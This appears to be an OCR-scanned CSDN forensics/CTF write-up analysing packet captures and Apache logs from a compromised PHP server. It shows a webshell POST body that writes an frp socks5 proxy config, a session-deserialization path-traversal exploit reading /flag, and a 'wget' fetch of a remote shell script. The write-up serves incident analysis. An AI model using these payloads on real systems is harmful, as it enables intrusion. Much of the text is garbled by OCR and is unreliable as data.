<tr><td class="e">User/Group </td><td class=["v">www-data(B3)/33 </td></tr>\n
<tr><td class="e">Max Requests </td><td clask="u">Per Child: @ - Keep Alive: on - Max Per Connection: 1@ </td></tr>
<tr><td class="e">Timeouts </td><td class="v">Connection: 300 - Keep-Alive: 5 </td></tr>\n
2 stranstd Flace—"a"\Wirtual Carvar s/tdsstd rlace—"u"\WVac r/tdss/tri\n
6000210 3c 74 72 3¢ [RUIESYIERR<tr>
00002e2¢ 3c 74 64 20 63 6Cc 61 73 73 3d 22 65 22 3e 55 73 <td clas s="e">Us
0000 65 72 2f A7 72 6f 75 70 20 3c 2f 74 64 3e 3c 74 er/Group </td><t
64 20 63 6C 61 73 73 3d 22 76 22 3e 77 77 77 2 d class= "v">wWww-
PP02e50 64 61 74 61 28 33 33 29 2f 33 33 20 3c 2f 74 64 data(33) /33 </td
00002e60 3e 3c 2f 74 72 3e @a 3c 74 72 3e 3c 74 64 20 63 »</tr>-< try<td ¢
vupPZe/0 BC 61 73 73 3d 22 65 22 3e 4d 61 78 20 52 65 71  lass="e" >Max Req CSDN @f] _—
3.4
[BHEH#R]

2B N\ webshell 3242 & 1.php_.

[#RENZE]
FRESUE, WpostiE @A TERM AT, KIHEI7THHE Bpost £ £ T webshell 3L, 5 A Kiwebshell 34 91.php.

r 337 421.186528 192.168.2.197 192.168.2.197 HTTP 1366 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)
-— 338 421.188146 192.168.2.197 192.168.2.197 HTTP 423 HTTP/1.1 200 OK (text/html)
339 423.950782 192.168.2.197 192.168.2.197 HTTP 1387 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)

> Frame 337: 1366 bytes on wire (10928 bits), 1366 bytes captured (10928 bits)
> Null/Loopback
> Internet Protocol Version

4, Src: 192.168.2.197, Dst: 192.168.2.197

iceinn Coantnal D tJ 1 T Dant: £10A47 (£10A7\ Net Dant: 0M01 fonoa\ Cans 1 Acles 1 Loans 1210

©2 00 00 0@ 45 00 @5 52 00 00 40 00 40 @06 00 00 sisasaiEia R s @il o

cO a8 @2 ¢5 c@ a8 @2 ¢5 ee 77 1f 91 a9 85 53 fd ........ . W....5

cc 98 81 85 80 18 18 eb 8c 1f 00 00 91 91 B8 B8  ...uviar sivsaans

@a 60 65 71 @a 60 65 6f 50 4f 53 54 2@ 2f 31 2e eq. eo POST /1.

70 68 70 20 48 54 54 50 2f 31 2e 31 ed @a 48 6f php HTTP /1.1..Ho

73 74 3a 20 31 39 32 2e 31 36 38 2e 32 2e 31 39 st: 192. 168.2,19

37 3a 38 30 38 31 @d @a 41 63 63 65 70 74 2d 45  7:8081.. Accept-E

6e 63 6f 64 69 6e 67 3a 20 67 7a 69 7@ 2c 20 64 ncoding: gzip, d

65 66 6¢ 61 74 65 @d @a 55 73 65 72 2d 41 67 65  eflate.. User-Age

6e 74 3a 20 4d 6f 7a 69 6¢C 6¢c 61 2f 35 2e 30 20 nt: Mozi 1lla/s.e

28 57 69 6e 64 6f 77 73 3b 20 55 3b 20 57 69 6e (Windows ; U; Win

64 6f 77 73 20 4e 54 20 36 2e 31 3b 2@ 66 72 2d  dows NT 6.1; fr-

46 52 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f FR) Appl elWebKit/

35 33 33 2e 32 30 2e 32 35 20 28 4b 48 54 4d 4c 533.20.2 5 (KHTML

2¢c 20 6¢ 69 6b 65 20 47 65 63 6b 6f 29 2@ 56 65 , like G ecko) ve

72 73 69 6f 6e 2f 35 2e 3@ 2e 34 2@ 53 61 66 61 rsion/5. .4 sSafa

72 69 2f 35 33 33 2e 32 30 2e 32 37 ed @a 43 6f rifs33.2 @.27..Co

6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 7@ 70 6c ntent-Ty pe: appl

69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f ication/ x-www-fo cnn @
72 6d 2d 75 72 6C 65 6e 63 6f 64 65 64 od 0a 43 rm-urlen coded..C DN @




[ B #iik 1
R bEMRE AR WA T2 _frpe_o

[#RENE]
#HE BN E AR w4 7 Afrpc.

Ji¥E1:

344 473 YLZEYZ 19Z.168.2.197 19Z.168.2. 19/ HIIP 421 HIIP/1.1 268 UK [text/ntml

341 424.803011  192.168.2.197 192.168.2.197 HTTP 1421 POST /1.php HTTP/1.1 (application/x-www-Torm-urlencoded)
342 424.007597 192.168.2.197 192.168.2.197 HTTP 487 HTTP/1.1 200 OK (text/html)
343538744871 192,168.2.197 2, 7 .php HTTP/1.1 (ap
344  538.745941 192.168.2.197 192. 168 2 187 HTTP 258 HTTP/1.1 20@ OK (text/html)
345 538.778180 192.168.2.197 192.168.2.197 HTTP 1429 POST /i.php HTTP/1.1 (application/x-www-form-urlencoded)
346 538.786380  192.168.2.197 192.168.2.107 HTTP 498 HTTP/1.1 208 OK (text/html)
412 549.860166 192.168.2.197 192.168.2.187 HTTP 3751 POST /1.php HTTP/1.1 (appucatmn/x wwwi-Form-urlencoded)
413 549.082861 192.168.2.197 192.168.2.197 HTTP 266 HTTP/1.1 200 OK  (text/html)
481 550.824153  192.168.2.197 192.168.2.197 A e . - Z
Frame 343: 1681 bytes on wire (13448 bits), 1681 bytes captured (13448 bits) Burp Suite Professional v2021.8 - 2021-09-14-
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197 Burp Project Intruder Repeater Window Help
Transmission Control Protocol, Src Port: 61922, Dst Port: 8081, Seq: 1, Ack: 1, Len: 1625
Logger Extender Project options User options Learn co2
>
Host: 192.168.2.197:8081\r\n Dashboard Target Proxy Intruder Reg

Accept -Encoding: gzip, deflate’\r\n

User-Agent: Mozlllas/5.@ (Windows NT 6.1; rvi22.0) Gecko/20130485 FireTox/22.0\r\n

Content-Type: application/x-www-form-urlencoded\rin 132hcig3d3cvaHRtbCImenBjLmluaQ==
> Content-Length: 1374\r\n

Connection: close\r\n

\rin

[Full request URI: http://192.168.2.107:8081/1.php]

[WTTP request 1/1]

[Response in frame: 344]

File Data: 1374 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded

Form item: "aaa™ = "@ini _set("display errors”, "@");@set_time 1limit(@);function asenc(Sout){return Sout;};function asout

Key: aaa

Value [truncated]: @ini_set("display_errors”, "@");@set_time_limit(@);function asenc($out){return Sout;};function aso( .
Form item: "j680713015987" = "FBL3Zhc193d3cvaHRtbCOmcNB]jLmluaQ==" Jvar/www/html/frpc.ini

Key: 168071301598f
~v Form 1tem: "xa5d606e67883a" = "5B63IGFODEDEFEESDOATIEST27665725F616464722030203139322E3136382E3233392E3132330A73657276657
Key: xaSd606e67883a
Value [truncated]: 5B636F6D6D6F6ESDBAT365727665725F61646472263D283: 1 132338A7365727665725FT06F72

CSDN @{EEHY T
Ji:2:
344 538.745941 192.168.2.197 192.168.2.197 HTTP 258 HTTP/1.1 200 OK (text/html)
» 345 538.778180 192.168.2.197 192.168.2.197 HTTP 1429 POST /1.php HTTP/1.1 (application/x-
g 346 538.780389 192.168.2.197 192.168.2.197 HTTP 498 HTTP/1.1 200 OK (text/html)
347 549.790192 192.168.2.197 192.168.2.197 TCP 16388 62003 > 8081 [ACK] Seq=1 Ack=1 Win=63
348 549.790193 192.168.2.197 192.168.2.197 TCp 16388 62003 - 8081 [ACK] Seq-16333 Ack=1 Wi
349 549.790195 192.168.2.197 192.168.2.197 TCcp 16388 62003 » 8081 [ACK] Seq=32665 Ack=1 Wi
350 549.790196 192.168.2.197 192.168.2.197 TCP 16388 62003 » 8081 [ACK] Seq=48997 Ack=1 Wi
351 549.790209 192.168.2.197 192.168.2.197 TCp 16388 62003 > 8081 [ACK] Seq=65329 Ack=1 Wi
352 549.790210 192.168.2.197 192.168.2.197 TCP 16388 62003 > 8081 [ACK] Seq=81661 Ack=1 Wi
353 549.790211 192.168.2.197 192.168.2.197 TCP 16388 62003 » 8081 [ACK] Seq=97993 Ack=1 Wi
354 549,790212 192.168.2.197 192.168.2.197 TCP 16388 62003 » 8081 [ACK] Seq=114325 Ack=1
355 549.790267 192.168.2.197 192.168.2.197 TCP 16388 62003 > 8081 [ACK] Seq=130657 Ack=1 h

ThinkPHP/\t2021-08-07 ©5:59:50\t4096\t0777\n
Application/\t20@21-08-07 ©5:59:49\t4096\t0777\n
data/\t2021-08-07 06:00:32\t4096\t0777\n
index.php\t2021-08-87 ©5:59:50\t2269\te777\n
1.php\t2021-08-07 09:39:54\t29\t0644\n
favicon.ico\t20821-88-87 ©5:59:50\t1150\t0777\n
install.php\t2@21-08-07 05:59:50\t378\te777\n
frpc.ini\t2021-08-07 09:42:17\t240\t0644\n

ATl
1150 32 39 09 20 26 24 24 Qa 66 61 76 69 63 6f 60 2¢  29-0644- favicon.
1160 69 63 6f ©9 32 30 32 31 2d 30 38 2d 30 37 20 30  ico-2021 -98-9/ @
1176 35 3a 35 39 3a 35 30 @9 31 31 35 30 @9 30 37 37 5:59:50- 1150-077
1180 37 @a 69 6e 73 74 61 6Cc 6C 2e 70 68 70 09 32 30 7-instal 1l.php-20
1190 32 31 2d 30 38 2d 30 37 20 3@ 35 3a 35 39 3a 35 21-08-07 05:59:5
rLae @9 ©-378-07
rbe §E
11ce
1ide

240-0644

Trame (498 bytes) Uncompressed entity body (470 bytes)

CSDM @{f & i =45E 9=
[ e A CSDN J.J[ __J.—U ””’ T 5 o

3.6



(7 E ik ]
BRRE T A EERSwIPRZ_192.168.239.123_.

[BEANE]
a
dm @ RE Qe=2ET7T48 . SaN
A | tcp stream oq 18 g i b o
Wi F Wil ¥ a8 FHEHM X L8]
na Soarres dest inatio Praotocs ength Infe
343 538.744871 192.168.2.197 192.168.2.197 HTTP 1681 POST /1l.php HTTP/1.1 (application/x-www-form-urlencoded
- 344 538.745941 192.168.2.197 192.168.2.197 HTTP 258 HTTP/1.1 200 OK (text/html)
Ml Wireshark | RES HTTP B (bop stream e 38) - hackpoap

Connection: close A
aaa=%40ini_set(X22display_errorsX22%2CX20X220%22)%X38%40set_time limit(@)X3BfunctionX2
Basenc (X24out )X7Breturni2eX240utX3IBX7DXIBfunct ionX28asoutput()
%¥7BX240utput¥3Dob_get_contents()¥3Bob_end_clean( )X3BechoX20%2228%22.
%22¥72%22%3BechoX20%40asenc (X24output )X3BechoX20X22F486%22 . X221 1F4%22%38X70ob_start()
LIBtryX7BX24F% 1Dhaspﬁd_do(0dp( substr( ‘X?d_PO‘aTX‘.B%?} jese71 301598F%22450%2C2))

Frame 343: 168 %3BX24cX3D%24_POSTXSBX22xaS5d606e67883aX22X50%3BX24cX30str_replace (X22X5Cr%22%2C%22%22

Null/Loopback | %2(%24c)X%3BX24c%3Dstr_replace(%22%5CnX22%2CX22%22%2(%24c)

Internet Proto | %3BX24bufX30%22%22%3Bfor(%241%3D0%3BX241%3Cstrlen(%24c )X3BX241%2B%3D2 ) X24buf .

Trancalesion € | o(Xeofrd to(fopen(K2AFRAC228K22)KCKABYS

| X3Becho(X4@fwrite(fopen C al 2C u
Hypertext Tran { {fopen( ) ) |

XIFX221%22%3A%220%22)%3BX3BX7Dcatch(Except ion¥20%24e )X7BechoX 20822 ERROREIAR2FE2FR22 .

HTML Form URL o> 4e-X3EgetMessage()X38%7DX3Basoutput()%3Bdie()

22 00 90 @ X3BA]6BO71301598f=FBL3Zhci93d3cvaHRtbCSmcnB jLmluaQX3DX308xa5d606e67883a=5B636F 6D6D6F6 -

c@ a8 92 ¢ ESDBA73IRS5727665725F61646472203D203139322E3136382E3233302E3132330A7365727665725F706F72

c6h el bl 1 T74203D20373737380A7T46F6B656E3ID586133424A66326C35656E6D4E3I65A37413860D760ARA5B74657 3745

#a 62 2c 2 F736F636B355DBA74797065203D207463700A72656D6F 74655F 7T06F 7274203D383131310A706C7567696E

70 68 70 2 203D20736F63IGBT7IISOATOECTSETEO6ESFTSTI6ST220302030484446743136634C514A0A706C7567696E5

73 74 3a 2 F706173737764203D204A544E32373647T0OATS573655F656E6372797074696F6E203D20747275650A7573

37 3a 38 3 655F636F6D7072657373696F6E203D20747275650AHTTP/1.1 200 OK

6e 63 6f € Date: Sat, @7 Aug 2021 89:42:17 GMT

65 66 6¢c & Server: Apache/2.4.7 (Ubuntu)

6e 74 3a 2 X-Powered-By: PHP/5.5.9-1lubuntud.29 11N
e Content-Length: 14 =

[common] .server
addr 192.168..
39.123.server_po
i 78 . token
Xa3BJf215enmN6Z7
A8mv. . [test K
o].type = tcp.re
mote_port =8111.
plugin = socks5.
plugin_user OH
DFt16cLQJ.plugi
passwd
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[BHE#R]
B Hsocks5HIEREIK S . %Y /Z_OHDFt16cLQJ#JTN276Gp_ .



[#ENE]
BE AR E SRR S MERN, 0T ER:

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comg

RONTORCTS6 1696510373164 A 23136 TOATS73638FESRE T2 TS TOTAGSGFGE 03D T ATITSGSORTSTSGSSFOJFSOTOTISSTITIGFELOITATIIS0N -+ =

Decodeas...

Encodeas...
Hash ...

Smart decoc
remote_port =8111 O Text Hex
plug!n ook Decodeas ...
plugin_user=0HDFt16cLQJ
plugin_passwd = JTN276Gp Encodeas ...
use_encryptlo.n =true Hash ..
use_compression = true

Smart decoc

4 HE2Hr
4.1

(7B ik ]
WA VRIS R, YRAGSCMF4E 2 www.zip_ o

[BERNE]
(1) f Fsublime_text4r %8 2847 FFaccess.log3C 4, MIBR404FTEATHIFT A SR (ctri+, find all, ctri+L, delete) , BE|WIT(E
B

172.17.8.1 - - [@87/Aug/2021:01:37:51 +@@0@] "GET / HTTP/1.1" 20@ 638 "-" "Mozilla/5.8 (Macintosh; Intel Mac
0S X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:55 +0000] "GET / HTTP/1.1" 200 637 "-" "Mozilla/5.@ (Macintosh; Intel Mac
0S X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [©7/Aug/2021:01:37:58 +0000] "GET /index.php HTTP/1.1" 200 601 "-" "Mozilla/5.@ (Macintosh;
Intel Mac 0S5 X 18_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /%2ehtaccess HTTP/1.1" 4083 460 "-" "Mozilla/5.@ (Macintosh;
Intel Mac 0S X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [@7/Aug/2021:01:37:59 +000@] "GET /index%2ephp HTTP/1.1" 200 601 "-" "Mozilla/5.8 (Macintosh;
Intel Mac 0S X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [@7/Aug/2021:01:37:59 +00008] "GET /www¥k2ezip HTTP/1.1" 20@ 1686 "-" "Mozilla/5.@ (Macintosh;
Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /wwwik2ezip HTTP/1.1" 200 1686 "-" "Mozilla/5.@ (Macintosh;
Intel Mac 0S X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.8.1 - - [@7/Aug/2021:01:37:59 +0000] "GET /info%2ephp HTTP/1.1" 200 25770 "-" "Mozilla/5.@ (
Macintosh; Intel Mac 0S X 18 _15 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=..%2F..%2F..%2F..%2F. .%2F. .%2F..%2F..%2F..%2F . .%2
F..%2F..%2F..%2F. . %2F..%2F . .%2F . .%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%
22%3Bs%3A16%3A%22 . %2Ffiles%2Ffilename’%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22 .%2Ffiles%2Fcall
_user_func_array#22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Ff1agk22%3Bs%3A13%3A%22SplFileObject%22%3B%7D
HTTP/1.1" 3@2 879 "-" "python-requests/2.26.0"

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?file=sess_car HTTP/1.1" 200 687 "-"
"python-requests/2.26.6"

172.17.0.1 - - [@7/Aug/2021:01:38:20 +000@] "GET / HTTP/1.1" 200 645 "-" "python-requests/2.26.0"

172.17.9.1 - - [@07/Aug/2021:01:38:21 +0000] "GET /?filename=..%2F..%2F..%2F..%2F. . %2F..%2F..%2F. .%2F..%2F..%2
F..%2F..%2F..%2F. .%2F . . %2F . . %2F . .%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%
22%3Bs%3A16%3A%22 . %2Ffiles%2Ffilename¥%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22 .%2Ffiles%2Fcall
_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%k3A5%3A%22%2Fflagh22%3Bs%3A13%3A%22SplFileObject%22%3B%7D
HTTP/1.1" 382 879 "-" "python-requests/2.26.0"

172.17.8.1 - - [07/Aug/2021:01:38:21 +6000] "GET /?file=sess_car HTTP/1.1" 200 680 "-"
"python-requests/2.26.0"

172.17.0.1 - - [07/Aug/2021:01:38:21 +0000] "GET / HTTP/1.1" 200 672 "-" "python—requ%%ﬁfﬁ

WhlmEmnE, | .




(2) f# Fburpsuitk b B H #78 urlZm 55 B 2% 42 3E T url decode, Z5R T :

172.17.8.1 - - [@7/Aug/2021:01:37:51 @eee] "GET / HTTP/1.1" 200 638 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 1@_15 7) AppleWebKit
Chrome/92.8.4515.107 Safari/537.36"

172.17.0.1 - - [@7/Aug/2021:01:37:55 ©@0@] "GET / HTTP/1.1" 280 637 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 1@_15_7) AppleWebKit
Chrome/92.08.4515.187 Safari/537.36"

172.17.8.1 - - [@7/Aug/2021:81:37:58 @8e8] "GET /index.php HTTP/1.1" 288 601 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 18_15_7) App
Gecko) Chrome/92.8.4515.107 Safari/537.36"

172.17.@.1 - - [@7/Aug/2021:01:37:59 ©@@e@] "GET /.htaccess HTTP/1.1" 403 460 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 1@_15_7) App
Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.8.1 - - [07/Aug/2021:01:37:59 @@ee] "GET /index.php HTTP/1.1" 20@ 601 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@_15_7) App
Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 ©€008] "GET /www.zip HTTP/1.1" 200 1686 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 1@_15_7) App
Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [@7/Aug/2021:01:37:59 @eee] "GET /www.zip HTTP/1.1" 20@ 1686 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 18_15_7) App
Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 @@ee] "GET /info.php HTTP/1.1" 286 25778 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 1@_15_7) Ap
Gecko) Chrome/92.@.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:38:20 @@00] "GET /2?filename=../../../../ ../ ../ /ol ol oidoil o/ oifoif o femp/
sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/
call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject”;} HTTP/1.1" 302 87 " "python-requests/2.26.0"

172.17.0.1 - - [@7/Aug/2021:01:38:20 ©@0@] "GET /?file=sess_car HTTP/1.1" 20@ 687 "-" "python-requests/2.26.0"

172.17.8.1 - - [@7/Aug/2021:01:38:20 @0@8] "GET / HTTP/1.1" 280 645 "-" "python-requests/2.26.0"

172.17.0.1 - - [07/Aug/2021:01:38:21 @008] "GET /?filename=../../.. .. .. 0./ S S oif il ocf i of i/ S ftmp/
sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:2@:"call_user_func_array"”;s:28:"./files/
call_user_func_array"”;}paths|a:1:{s:5:"/flag";s:13:"SplFileObject”;} HTTP/1.1" 302 8 -" "python-requests/2.26.0"

172.17.8.1 - - [07/Aug/2021:01:38:21 ©008] "GET /?file=sess_car HTTP/1.1" 200 680 "- python-requests/2.26.0"

172.17.0.1 - - [@7/Aug/2021:01:38:21 @@ee] "GET / HTTP/1.1" 20@ 672 "-" "python-requests/2.26.0" CSDN @{E2BHISIiESE, . .

(3) LAk Py 25 AT YR AL ) SO 4 Awww.Zip .

172.17.0.1 - - [@7/Aug/2021:01:37:51 ©@0e] "GET / HTTP/1.1" 200 638 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebK
Chrome/92.8.4515.187 Safari/537.36"

172.17.0.1 - - [@7/Aug/2021:01:37:55 @@ee] "GET / HTTP/1.1" 2@ 637 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15 7) AppleWebK
Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [@7/Aug/2021:01:37:58 ©@00] "GET /index.php HTTP/1.1" 200 601 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 10 _15_7)
Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.8.1 - - [@7/Aug/2021:01:37:59 ©@@00] "GET /.htaccess HTTP/1.1" 403 460 "-" "Mozilla/5.8 (Macintosh; Intel Mac 0S X 10_15_7) A

Chrome/92.0.4515.107 Safari/537.36"

.0.1 - - [87/Aug/2021:01:37:59 @e@e0] "GET /index.php HTTP/1.1" 20@ 661 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 16 15 7)

Chrome/92.8.4515.107 Safari/537.36"

.0.1 - - [07/Aug/2021:01:37:59 0000] "GET /www.zip HTTP/1.1" 200 1686 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) Aj{

Chrome/92.8.4515.187 Safari/537.36"

.8.1 - - [87/Aug/2021:01:37:59 0eee] "GET |/www.zip HTTP/1.1" 280 1686 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@_15_7) Ajf

Chrome/92.@.4515.107 Safari/537.36"

.0.1 - - [@7/Aug/2021:01:37:59 @eee] "GET /info.php HTTP/1.1" 2@ 25770 "-" "Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@ _15_7)

Chrome/92.0.4515.107 Safari/537.36"

.0.1 - - [07/Aug/2021:61:38:20 ©000] "GET /?filename=../../../..f..[ ./ ff il ool d et foof . fEmp/
sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:28:"call_user_func_array";s:28:"./files/
call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.8.1 - - [@7/Aug/2021:01:38:20 0@B@] "GET /?file=sess_car HTTP/1.1" 208 687 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:20 0€00] "GET / HTTP/1.1" 200 645 "- python-requests/2.26.0"
172.17.0.1 - - [@7/Aug/2021:01:38:21 0000] "GET /?filename=../../../..0 ./ /ol ol if ol oid o oid ol o if oo/ /tmp/
sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:28:"call_user_func_array";s:28:"./files/
call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject”;} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21 ©@0B] "GET /?file=sess_car HTTP/1.1" 200 680 "-" "python-requests/2.26.0"
172.17.0.1 - - [@7/Aug/2021:01:38:21 0e0e] "GET / HTTP/1.1" 20@ 672 "-" "python-requests/2.26.0" CSDN @{E2RAIS 1%,

4.2

[EH#R]
SMBEHRE, BEEMpEFRBEAN =AM, X4 H__sess_car__.



[#BENE]
k2431 L — B Bburpsuitf@ i 5 ISCHE, AT RILEBE B NKI X Nsess_car.

172.17.8.1 - - [@7/Aug/2021:01:38:20 0008] "GET /?Filename=../../../..J../../../..f..j../..f../../..H../../.-}tmg/
sess_car&content=Ffunc|N;files|a:2:{s:8:"filename";s:16:"./files/filename" ;s:20:"call_user_func_array”;s:28:",/files/
call_user func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 382 879 "-" "python-requests/2.26.0"
172.17.8.1 - - [©7/Aug/2021:01:38:20 ©000] "GET /?file=sess_car HTTP/1.1" 2@@ 687 "-" "python-requests/2.26.0"
172.17.8.1 - - [@07/Aug/2021:01:38:20 0600] "GET / HTTP/1.1" 20@ 645 "python-requests/2.26.8"

172.17.8.1 - - [B7/Aug/2021:01:38:21 0888] "GET /?Filename:../../../..J../../../../../../../../../..j../../../tmﬁ/
sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename" ;s:20:"call_user_func_array”;s:28:"./files/
call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 382 879 "-" "python-requests/2.26.0"
172.17.8.1 - - [87/Aug/20621:01:38:21 ©e@8] "GET /?file=sess_car HTTP/1.1" 28@ 688 "-" "python-requests/2.26.8"
172.17.8.1 - - [@07/Aug/2021:01:38:21 ©@@00] "GET / HTTP/1.1" 200 672 "-" "python-requests/2.26.8" o P

S SBHE TEIET,

4.3

[55H#iR ]
25243 Hr4.1 P burpsuitiR L J5 130, AT LUK BB %48 A T SplFileObject2 i B T Fb% S f-flag .

[#IENE]

172.17.9.1 - - [07/Aug/2021:01:38:20 ©0000] "GET /?filename=../../..[.. ../ ../ [/ /. do ool oo/ Jtmp/
sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:2 «[files/
call user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:20 ©000] "GET /?file=sess_car HTTP/1.1" 200 687 "-" "python-requests/2.26.0"
172.17.6.1 - - [07/Aug/2021:01:38:20 ©000] "GET / HTTP/1.1" 200 645 "-" "python-requests/2.26.0"

172.17.6.1 - - [07/Aug/2021:01:38:21 0000] "GET /?filename=../../../ ../ ../l il ol ikl oidcif il ifof /ftmp/
sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename" ;s:20:"call_user_func_array";s:28:"./files/
call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

172.17.€.1 - - [67/Aug/2021:01:38:21 ©@@0] "GET /?file=sess_car HTTP/1.1" 200 688 "-" “python-requests/2.26.0"

172.17.8.1 - - [87/Aug/2021:91:38:21 ©@008] "GET / HTTP/1.1" 2080 672 "- python-requests/2.26.0 CSDN Zﬁﬁﬁﬂﬂééiﬁﬁiiﬁi . .

SHEDH
5.1

(7 E ik ]
WHFEHIPR ==172.18.0.125 == o

[#ENE]

s ¥rpcapii B, FAHLipMiZ%~Z172.18.0.1, AILERRLZUDPHIIKAE. EECHNBKE, EEBUDPELERPOS=, 1M
HEKRFHbasebd, WHALEKE. PO5=)5HE#Z00 00 00 00F101 00 00 00, FHHOOMKEZ32. 01HKER16, AIRERIA
iE.

WIEKE 1655 M AT GERaes, FIKE16/base64 (EIPO5=)5TH 201 00 00 00/)) 1 ~aes keyf## K I T, 0200
00 00 fu, R4 — AN WE R, Hp2EIP172.18.0.125F 4 : wget http://147.182.251.98/d.sh.



SifpcapiiiE e, FHipuiZZE172.18.0.1, FILABRHEZUDPIMIME. EEERENRE, ETEFIUDPEXEZP0S=, MEBNE
Hbase64, tWAEEENE. PO5S=/FEAZ00 00 00 007101 00 00 00, HA00RVEZE32. O1E’-]Ja<ExE16_. FIRERIAIL,

RIBREN165ENF gERaes, FB1cE16Mbase64 (EPPO5=/ZEZ01 00 00 008Y) {EFaes keyfFZEAZIMEEZMINT, 02 00 00 003
NEEEEHE—TAILEFER, HPSEIP172.18.0.125F 8% wget http://147.182.251.98/d.sh; T LA —(8]9127.18.0.125, E _|0)&4%H
MZ218217S B EFIDIX0GScM9dwrgZht, 55 =[alipEN7147.182.251.98 (udp.stream eq 85)

udp.stream eq 85

0 Source Destination Protocol | Lengtt| info
18215 60.573313854 172.18.0.125 172.18.0.1 94 42277 - 8888 Len=52
18216 60.573369150 172.18.0.1 172.18.0.125 uoP 94 8888 - 42277 Len=52
18217 60.573393688 172.18.9.125 172.18.0.1 uoP 94 42277 - BBBB Len=52
18218 60.573417120 172.18.0.1 172.18.0.125 uoP 78 B888 - 42277 Len=36
18219 60.573572556 172.18.0.125 172.18.0.1 uop 94 42277 - 8888 Len=52
18220 60.573609039 172.18.0.1 172.18.0.125 uop 78 BB88 - 42277 Len=36
18221 60.573629398 172.18.0.125 172.18.0.1 uop 94 42277 - BBB8 Len=52
18222 60.573649440 172.18.0.1 172.18.0.125 uop 78 BB88 - 42277 Len=36
18223 60.573662959 172.18.0.125 172.18.0.1 uop 94 42277 - 8888 Len=52
